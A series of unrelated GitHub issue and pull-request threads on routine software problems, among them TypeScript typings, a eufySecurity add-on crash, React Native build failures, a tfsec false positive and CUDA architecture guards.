As of Flutter 2.5, the launch and splash screens have been consolidated, so you will no longer need to make the splash screen look like exactly the same as launch screen.  Thus, this ticket should be OK to close.  If you're trying to set up your splash screen, my package flutter_native_splash may help.


E2E IR-MRC Pipeline

aferritto created the following on Apr 21:
This will probably be an epic
Original issue: https://github.ibm.com/ai-foundation/PrimeQA/issues/150

@bhavani105 @avisil @franzmpub : this needs to be discussed in detail.

We have a first version of it with components and pipeline and runnable via PrimeQA services. Closing this now, will follow up with more specific issues


Noise bias for flat sky

Is there a function like uncorr_noise_deprojection_bias(f1, map_var, n_iter=None) to calculate the noise bias for flat sky maps with inhomogeneous noise applied?

I'm afraid not... Depending on how urgent this is, I might suggest estimating it from noise simulations if those are easy/fast to generate.


nonce property is missing, issue with Typescript from 4.6.3 to 4.8.4

Bug Report

🔎 Search Terms

nonce, react, typescript upgrade, required property
🕗 Version & Regression Information

This changed between versions 4.6.3 and 4.8.4

⏯ Playground Link

Playground link with relevant code
*Code-sandbox link works appropriately, the issue appears in the local environment
💻 Code
In local env install<EMAIL_ADDRESS>and then try to use in a react setup:
<Checkbox
                      checked={onlineFilter}
                      onChange={() => dispatch("toggle_online")}
                      label="Online"
                    />

🙁 Actual behavior
Old type definition: https://cdn.jsdelivr.net/npm/<EMAIL_ADDRESS>New type definition: https://cdn.jsdelivr.net/npm/<EMAIL_ADDRESS>
Property 'nonce' is missing in type '{ checked: boolean; onChange: () => void; label: string; }'
but required in type
'Pick<RadioAndCheckboxProps, "name" | "role" | "id" | "min" | "max" |
"onChange" | "form" | "label" | "slot" | "style" | "title" | "pattern" | "children"
 | ... 277 more ... | "labelBefore">'.ts(2741)

🙂 Expected behavior
To avoid complaining about nonce as a property that is missing

TypeScript is not responsible for the type definitions released in @neo4j-ndl/react.

I get it @MartinJohns , I’m mainly concerned if there is away to avoid this type incompatibility, as in the component library we use TS4.9, and some consumers may use 4.5 which results in the warning I attached.
is there any way to avoid having a requirement for the consumers to upgrade their TS version or is it mandatory?

Consumers don't necessarily have to be using the same version of TypeScript you are. If you aren't using new features, there will generally not be any issues. You can use downlevel-dts tool and/or the typesVersions package.json field to provide backward-compatible .d.ts files.

@RyanCavanaugh used the downlevel-dts but the issue still persist 🤔  And that makes sense as nonce is a property rather than a new TS feature.
In that case the only solution I can think of is to compile with different typescript versions and include the typesVersions in package.json?


Dependency Version Pinning

Hey @pdrm83 and thank you very much for open sourcing your code!
One small thing I noticed while using it is that you pin exact package versions of your dependencies in your setup.py, such as numpy==1.20.0. This can obviously cause conflicts in environments with other dependencies. Looking at the code, it seems to me that the internals should be quite flexible wrt. the installed versions. Would you mind relaxing the dependencies?
In my case, I have installed the newest version of Tensorflow (v2.5.0) next to py2opt. Tensorflow requires numpy~=1.19.2, which is incompatible with the py2opt dependency of numpy==1.20.0.

Hi @ietz. Thanks for your message. I relaxed the dependencies on numpy since, as you said, there is no need to be fixed. You can download the updated package from PyPi server as well.

Thank you for the quick response and fix! I can confirm that the new version does resolve the dependency conflicts I encountered in my environment


Add support to update attachments of a message

The chat.update call allows to edit the attachments list of a message. This PR adds an optional attachments kwarg to Slacker.chat.update which will be treated like its postMessage equivalent.

:+1: Merge would be nice!

@sushimako Great, thanks! 🍺


Fix black duck risks

Black Duck Security Report
Merging #320 into master will not change security risk.
Added Components
Clean:       19
Removed Components
Medium Risk: 1
Clean:       18
Click here to see full report

It improved some security issues, but not all of them.
To fix all of them we will need to much more work:

update commons-scxml (last update from 2009)
update spark library (build failed on last version, so it will need some refactoring)

Thanks.

Can someone verify updates and merge it, please? Thanks.


Stability issue

Hi,
every 4-6 days the status change from the homematic fails. The service needs to be restartet. After the restart everything is fine. I found below info in the "Addon Fehlerdatei" log. The other logs were empty.
node:os:277
const data = getInterfaceAddresses();
^
SystemError [ERR_SYSTEM_ERROR]: A system error occurred: uv_interface_addresses returned Unknown system error 24 (Unknown system error 24)
at Object.networkInterfaces (node:os:277:16)
at getLocalIpAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:59:23)
at buildLookupWithKeyPayload (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:121:46)
at P2PClientProtocol.cloudLookupByAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:379:63)
at /usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:51
at Array.map ()
at P2PClientProtocol.cloudLookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:29)
at P2PClientProtocol.lookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:428:18)
at Socket. (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:466:26)
at Socket.onListening (node:dgram:261:7) {
code: 'ERR_SYSTEM_ERROR',
info: {
errno: 24,
code: 'Unknown system error 24',
message: 'Unknown system error 24',
syscall: 'uv_interface_addresses'
},
errno: [Getter/Setter],
syscall: [Getter/Setter]
}
Node.js v20.17.0
node:os:277
const data = getInterfaceAddresses();
^
SystemError [ERR_SYSTEM_ERROR]: A system error occurred: uv_interface_addresses returned Unknown system error 24 (Unknown system error 24)
at Object.networkInterfaces (node:os:277:16)
at getLocalIpAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:59:23)
at buildLookupWithKeyPayload (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:121:46)
at P2PClientProtocol.cloudLookupByAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:379:63)
at /usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:51
at Array.map ()
at P2PClientProtocol.cloudLookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:29)
at P2PClientProtocol.lookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:428:18)
at Socket. (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:466:26)
at Socket.onListening (node:dgram:261:7) {
code: 'ERR_SYSTEM_ERROR',
info: {
errno: 24,
code: 'Unknown system error 24',
message: 'Unknown system error 24',
syscall: 'uv_interface_addresses'
},
errno: [Getter/Setter],
syscall: [Getter/Setter]
}
Node.js v20.17.0

I am sorry, but this seems to be a issue either with your hardware or NodeJS. On witch hardware your CCU is running?
All what I can do is that I will catch the error with the next release, so that it will be logged correctly and the add-on will not crash anymore.

If you want to test and have the possibility to connect to your CCU via ssh , you can replace the session.js located at /usr/local/addons/eufySecurity/eufySecurityApi/p2p with the one in this zip-archive. Then the add-on should not crash anymore.

I've got a Raspi 4 Model b Rev 1.2. I've uploaded the session.js file and I will look forward :-)

Great. I forgotten to mention, that you need to restart the add-on to take the changes in affect. Sorry for that.
As said previously, the error will occur, but the add-on should not crash anymore.

Again the service stops
node:os:277
const data = getInterfaceAddresses();
^
SystemError [ERR_SYSTEM_ERROR]: A system error occurred: uv_interface_addresses returned Unknown system error 24 (Unknown system error 24)
at Object.networkInterfaces (node:os:277:16)
at getLocalIpAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:59:23)
at buildLookupWithKeyPayload (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:121:46)
at P2PClientProtocol.cloudLookupByAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:379:63)
at /usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:51
at Array.map ()
at P2PClientProtocol.cloudLookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:29)
at P2PClientProtocol.lookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:428:18)
at Socket. (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:466:26)
at Socket.onListening (node:dgram:261:7) {
code: 'ERR_SYSTEM_ERROR',
info: {
errno: 24,
code: 'Unknown system error 24',
message: 'Unknown system error 24',
syscall: 'uv_interface_addresses'
},
errno: [Getter/Setter],
syscall: [Getter/Setter]
}
Node.js v20.17.0
node:os:277
const data = getInterfaceAddresses();
^
SystemError [ERR_SYSTEM_ERROR]: A system error occurred: uv_interface_addresses returned Unknown system error 24 (Unknown system error 24)
at Object.networkInterfaces (node:os:277:16)
at getLocalIpAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:59:23)
at buildLookupWithKeyPayload (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:121:46)
at P2PClientProtocol.cloudLookupByAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:379:63)
at /usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:51
at Array.map ()
at P2PClientProtocol.cloudLookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:29)
at P2PClientProtocol.lookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:428:18)
at Socket. (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:466:26)
at Socket.onListening (node:dgram:261:7) {
code: 'ERR_SYSTEM_ERROR',
info: {
errno: 24,
code: 'Unknown system error 24',
message: 'Unknown system error 24',
syscall: 'uv_interface_addresses'
},
errno: [Getter/Setter],
syscall: [Getter/Setter]
}
Node.js v20.17.0
node:os:277
const data = getInterfaceAddresses();
^
SystemError [ERR_SYSTEM_ERROR]: A system error occurred: uv_interface_addresses returned Unknown system error 24 (Unknown system error 24)
at Object.networkInterfaces (node:os:277:16)
at getLocalIpAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:59:23)
at buildLookupWithKeyPayload (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:121:46)
at P2PClientProtocol.cloudLookupByAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:379:63)
at /usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:51
at Array.map ()
at P2PClientProtocol.cloudLookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:29)
at P2PClientProtocol.lookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:428:18)
at Socket. (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:467:30)
at Socket.onListening (node:dgram:261:7) {
code: 'ERR_SYSTEM_ERROR',
info: {
errno: 24,
code: 'Unknown system error 24',
message: 'Unknown system error 24',
syscall: 'uv_interface_addresses'
},
errno: [Getter/Setter],
syscall: [Getter/Setter]
}
Node.js v20.17.0

Sorry, this issue is a little bit difficult to debug.
Please replace the utils.js file in the folder /usr/local/addons/eufySecurity/eufySecurityApi/p2p with the one from the zip-File. Afterwards, please restart the add-on.
Have you other add-ons installed? The error code 24 leads to a run out of resources. Did the error occurred after updating the last RaspberryMatic version? (I asked because there is an issue described in the HomeMatic-Forum which could have similar cause)

Hi,
I've got new Log Infos
eufySecurity_CCU2-Saager_20240915_103848.zip

I'm still on the "old version".

This issue seems to be solved, it was not caused by RaspberryMatic.
Your log indicate, that there was either no restart of the addon after replacing the utils.js or the file was not replaced. If you take a look at line 62 of the utils.js, there should be this line:
const ifaces = os.networkInterfaces();

you're right. I has the wrong version of util.js.

Again
eufySecurity_CCU2-Saager_20240919_192920.zip

What is logged in the eufySecurity.err as last error?

node:os:277
const data = getInterfaceAddresses();
^
SystemError [ERR_SYSTEM_ERROR]: A system error occurred: uv_interface_addresses returned Unknown system error 24 (Unknown system error 24)
at Object.networkInterfaces (node:os:277:16)
at getLocalIpAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:59:23)
at buildLookupWithKeyPayload (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:121:46)
at P2PClientProtocol.cloudLookupByAddress (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:379:63)
at /usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:51
at Array.map ()
at P2PClientProtocol.cloudLookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:354:29)
at P2PClientProtocol.lookup (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:428:18)
at Socket. (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:467:30)
at Socket.onListening (node:dgram:261:7) {
code: 'ERR_SYSTEM_ERROR',
info: {
errno: 24,
code: 'Unknown system error 24',
message: 'Unknown system error 24',
syscall: 'uv_interface_addresses'
},
errno: [Getter/Setter],
syscall: [Getter/Setter]
}
Node.js v20.17.0

Could you please update to the last beta (v3.1.1-b1) and empty all log files (if you are deleting the log files, please restart the add-on). Unfortunately, in the eufySecurity.err will be no timestamps logged.
Have you problems with other functionalities of your CCU? As mentioned, the error indicates that your system hat no more resources at the time the add-on crashes.

Done. Sometimes I've got some latencies. But all in all everything works. I deactivated some programs that track data.

Yes, already listed in the known issues section in the beta release notes. Will be fixed in next version.

Hi, a long time without any problems. Now I've got
node:internal/crypto/cipher:121
this[kHandle].initiv(cipher, credential, iv, authTagLength);
^
RangeError: Invalid key length
at Cipheriv.createCipherBase (node:internal/crypto/cipher:121:19)
at Cipheriv.createCipherWithIV (node:internal/crypto/cipher:140:3)
at new Cipheriv (node:internal/crypto/cipher:243:3)
at createCipheriv (node:crypto:147:10)
at encryptP2PData (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:99:48)
at buildCommandWithStringTypePayload (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/utils.js:307:48)
at P2PClientProtocol._sendCommand (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:660:81)
at P2PClientProtocol.sendQueuedMessage (/usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:593:30)
at /usr/local/addons/eufySecurity/eufySecurityApi/p2p/session.js:2280:30
at process.processTicksAndRejections (node:internal/process/task_queues:95:5) {
code: 'ERR_CRYPTO_INVALID_KEYLEN'
}
Node.js v20.17.0

This is a known error in the client. It should be solved with the final version whic is included in the last beta v3.1.1-b2

Short update: Everything works so far😊

Than we will close this one.


Dependencies with provided scope are bundled in the JAR after executing JDBL

For projects with dependencies with provided scope, those dependencies are copied to /target/classes by JDBL when resolving direct and transitive dependencies. Those dependencies are needed in the classpath of the project for running the test suite, but will not be shipped in the JAR file after using the jar-with-dependencies Maven plugin (see the plugin doc.
We need to exclude those dependencies from the bundle JAR.

To solve this issue, JDBL will copy only the dependencies with runtime and compile scopes to /target/classes. The dependencies with provided and system scopes will be copied to target/test-classes. This way, those dependencies will be in the classpath during testing, but will be not shipped in the JAR of the project.


Fix last by_block typo

Just realized library didn't build, apologies, one moment!

Actually, no. The last by_block was fixed in the .py but it wasn't updated in the notebook

Thanks a lot!


Cannot build/run Android on RN 0.72.7

Description
I can't build / run apps to the android simulator, but ios running well (new project from init). This happen when I upgrade all env trough brew upgrade. And all good (green checklist) when I check everything with doctor. Any idea ? I'm stuck. Thanks.
`FAILURE: Build failed with an exception.

What went wrong:
Could not determine the dependencies of task ':app:processDebugResources'.

Could not resolve all task dependencies for configuration ':app:debugRuntimeClasspath'.
Could not resolve com.facebook.react:react-android:0.72.7.
Required by:
project :app
Could not resolve com.facebook.react:react-android:0.72.7.
Could not get resource 'https://oss.sonatype.org/content/repositories/snapshots/com/facebook/react/react-android/0.72.7/react-android-0.72.7.pom'.
Could not HEAD 'https://oss.sonatype.org/content/repositories/snapshots/com/facebook/react/react-android/0.72.7/react-android-0.72.7.pom'.
Connect to oss.sonatype.org:443 [oss.sonatype.org/<IP_ADDRESS>, oss.sonatype.org/<IP_ADDRESS>] failed: Connect timed out
Could not resolve com.facebook.react:hermes-android:0.72.7.
Required by:
project :app
Could not resolve com.facebook.react:hermes-android:0.72.7.
Could not get resource 'https://oss.sonatype.org/content/repositories/snapshots/com/facebook/react/hermes-android/0.72.7/hermes-android-0.72.7.pom'.
Could not HEAD 'https://oss.sonatype.org/content/repositories/snapshots/com/facebook/react/hermes-android/0.72.7/hermes-android-0.72.7.pom'.
Connect to oss.sonatype.org:443 [oss.sonatype.org/<IP_ADDRESS>, oss.sonatype.org/<IP_ADDRESS>] failed: Connect timed out`

React Native Version
0.72.7
Output of npx react-native info
System:
OS: macOS 14.1.1
CPU: (8) arm64 Apple M2
Memory: 95.31 MB / 8.00 GB
Shell:
version: "5.9"
path: /bin/zsh
Binaries:
Node:
version: 18.13.0
path: ~/.nvm/versions/node/v18.13.0/bin/node
Yarn:
version: 1.22.19
path: /opt/homebrew/bin/yarn
npm:
version: 8.19.3
path: ~/.nvm/versions/node/v18.13.0/bin/npm
Watchman:
version: 2<IP_ADDRESS>
path: /opt/homebrew/bin/watchman
Managers:
CocoaPods:
version: 1.14.3
path: /opt/homebrew/bin/pod
SDKs:
iOS SDK:
Platforms:
- DriverKit 23.0
- iOS 17.0
- macOS 14.0
- tvOS 17.0
- watchOS 10.0
Android SDK:
API Levels:
- "33"
- "34"
Build Tools:
- 30.0.3
- 33.0.0
- 33.0.1
- 34.0.0
System Images:
- android-33 | ARM 64 v8a
- android-33 | Google APIs ARM 64 v8a
- android-33 | Google Play ARM 64 v8a
- android-33 | Google APIs ATD ARM 64 v8a
Android NDK: Not Found
IDEs:
Android Studio: 2022.3 AI-223.8836.35.2231.11090377
Xcode:
version: 15.0.1/15A507
path: /usr/bin/xcodebuild
Languages:
Java:
version: 17.0.9
path: /usr/bin/javac
Ruby:
version: 2.6.10
path: /usr/bin/ruby
npmPackages:
"@react-native-community/cli": Not Found
react:
installed: 18.2.0
wanted: 18.2.0
react-native:
installed: 0.72.7
wanted: 0.72.7
react-native-macos: Not Found
npmGlobalPackages:
"react-native": Not Found
Android:
hermesEnabled: true
newArchEnabled: false
iOS:
hermesEnabled: true
newArchEnabled: false
Steps to reproduce
I faced this after I running brew upgrade, and running android simulator with yarn android or yarn start then a

Connect to oss.sonatype.org:443 [oss.sonatype.org/<IP_ADDRESS>, oss.sonatype.org/<IP_ADDRESS>] failed: Connect timed out

That's a network error on your end and is not related to React Native itself


Adds overload to call RiseError with callback

Previous overloads only allowed onError callback when HttpContext available.
This allows onError callback when capturing exceptions outside of a HttpContext (eg. Hangfire background job)

@ElmahCore @barestan any reasons why my PR was closed?
I'm using ElmahCore with Hangfire and this makes it impossible to log any additional data along with an exception without a HttpContext.

Hi @tystol !
Your changes have been included, see changes.

Ah thanks, missed that.
But looks like it wasn't merged quite right - I've pointed it out here


False positive on AWS004. HTTPS is not applicable on NLB listeners

Describe the bug
False positive on control AWS004. HTTPS is suggested as a safe protocol whilst TLS is also encrypted and HTTPS is not compatible when you define a listener for an NLB.
To Reproduce
Run on this example code:
resource "aws_lb_listener" "example" {
  certificate_arn   = "example"
  load_balancer_arn = "example"
  port              = "1234"
  protocol          = "TLS"
  ssl_policy        = "ELBSecurityPolicy-TLS-1-2-Ext-2018-06"

  default_action {
    type             = "forward"
    target_group_arn = "example"
  }
}

Result:
  [AWS004][ERROR] Resource 'aws_lb_listener.example' uses plain HTTP instead of HTTPS.
  /tmp/test.tf:5

       2 |   certificate_arn   = "example"
       3 |   load_balancer_arn = "example"
       4 |   port              = "1234"
       5 |   protocol          = "TLS"    string: "TLS"
       6 |   ssl_policy        = "ELBSecurityPolicy-TLS-1-2-Ext-2018-06"
       7 |
       8 |   default_action {

  Impact:     Your traffic is not protected
  Resolution: Switch to HTTPS to benefit from TLS security features

Expected behaviour
No finding
version
0.42.1

@stefanwb  - this is fixed in v0.42.2 - thanks for highlighting


fix #983 by remove unsupported archs

resize_op.cu line63 leverages __ldg feature of CUDA, which implies compute_35 as minimum requirement.

@slayton58 FYI.

Just checking... does it make sense to wrap this in an ifdef statement and not using __ldg if we are under 3.5?
https://stackoverflow.com/questions/16072740/the-behavior-of-cuda-arch-macro

It depends, I would personally say don't support < 3.5, and I would suspect that the vast majority of users will be on >= 3.5 (GK110 or later).
If you were to wrap then #if __CUDA_ARCH__ >= 350 would be the appropriate way to do it.

CUDA 9.0 will deprecate compute_20 and compute_21, but still support compute_30. Maybe it's better to align with CUDA and wrap it at this moment.
https://en.m.wikipedia.org/wiki/CUDA
So shall I withdraw my pull request?

@davinwang thanks for the comment - would you mind leaving 30 to the cmake script and then add a wrap-around? Basically
#if CUDA_ARCH >= 350
atomicAdd(dX + out_index, __ldg(dY + index));
#else
atomicAdd(dX + out_index, dY + index);
#endif

@Yangqing @slayton58 Thanks for the info. I made some change to resize_op.cu and cuda.cmake and only make sure it compiles correctly on Win10+CUDA8. Hope it will pass the unit test if any. :)


Configure  to be loaded

I don't know if I'm maybe missing something but I read through the docs and the wiki (and also scanned the source) but I could not find a way to tell exadmin to not include (or require) the js/app.js. Since I don't need an additional app.js I'd like to not include it (and maybe also bundle some deps like jquery+ui into a unified bundle, but that's minor).
Specifically I guess I'm speaking about lines https://github.com/smpallen99/ex_admin/blob/master/web/templates/layout/active_admin.html.eex#L56 and 57
Can you maybe give me a hint?

I'm not sure the app.js stuff is needed. it can probably be removed. Your welcome to submit a pull request ;)

I'd gladly try :)